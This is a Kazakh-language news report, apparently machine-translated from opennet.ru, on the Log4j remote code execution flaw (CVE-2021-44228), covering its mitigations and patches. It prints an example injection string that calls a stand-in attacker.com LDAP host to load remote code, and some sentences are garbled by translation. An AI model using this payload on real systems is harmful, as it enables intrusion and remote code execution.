Көптеген Java жобаларына әсер ететін Apache Log4j жүйесіндегі апатты осалдық

Apache Log4j, Java қолданбаларында тіркеуді ұйымдастыруға арналған танымал құрылымда журналға «{jndi:URL}» пішіміндегі арнайы пішімделген мән жазылған кезде еркін кодты орындауға мүмкіндік беретін маңызды осалдық анықталды. Шабуыл сыртқы көздерден алынған мәндерді тіркейтін Java қолданбаларында, мысалы, қате туралы хабарларда проблемалық мәндерді көрсету кезінде жүзеге асырылуы мүмкін.

Apache Struts, Apache Solr, Apache Druid немесе Apache Flink сияқты фреймворктарды пайдаланатын барлық дерлік жобаларға проблема әсер ететіні, соның ішінде Steam, Apple iCloud, Minecraft клиенттері мен серверлері атап өтілген. Бұл осалдық корпоративтік қосымшаларға жаппай шабуылдар толқынына әкелуі мүмкін деп күтілуде, бұл Apache Struts құрылымындағы маңызды осалдықтардың тарихын қайталайды, бұл өрескел бағалау бойынша Fortune-тың 65% веб-қосымшаларында қолданылады. 100 компания, соның ішінде желіні осал жүйелерге сканерлеу әрекеттері.

Мәселе жұмыс істейтін эксплойттың жарияланғанымен, бірақ тұрақты филиалдар үшін түзетулер әлі жинақталмағанымен қиындатады. CVE идентификаторы әлі тағайындалмаған. Түзету тек log4j-2.15.0-rc1 сынақ тармағына кіреді. Осалдықты блоктау үшін уақытша шешім ретінде log4j2.formatMsgNoLookups параметрін шын мәніне орнату ұсынылады.

Мәселе log4j бағдарламасының JNDI (Java атауы және каталог интерфейсі) сұраулары орындалатын журналға шығарылатын жолдардағы «{}» арнайы бүркеніштерін өңдеуді қолдайтындығынан туындады. Шабуыл «${jndi:ldap://attacker.com/a}» алмастыруымен жолды өткізуге дейін созылады, оны өңдеу кезінде log4j Java сыныбына жол үшін LDAP сұрауын attacker.com серверіне жібереді. . Шабуылдаушы сервері қайтарған жол (мысалы, http://second-stage.attacker.com/Exploit.class) ағымдағы процестің контекстінде жүктеледі және орындалады, бұл шабуылдаушыға сайтта еркін кодты орындауға мүмкіндік береді. ағымдағы қолданбаның құқықтары бар жүйе.

1-қосымша: осалдыққа CVE-2021-44228 идентификаторы тағайындалды.

2-қосымша: log4j-2.15.0-rc1 шығарылымы арқылы қосылған қорғанысты айналып өту жолы анықталды. Жаңа жаңарту, log4j-2.15.0-rc2, осалдықтан толық қорғаныспен ұсынылды. Код қате пішімделген JNDI URL мекенжайын пайдаланған жағдайда қалыптан тыс тоқтатудың болмауына байланысты өзгерісті бөлектейді.

Ақпарат көзі: opennet.ru

пікір қалдыру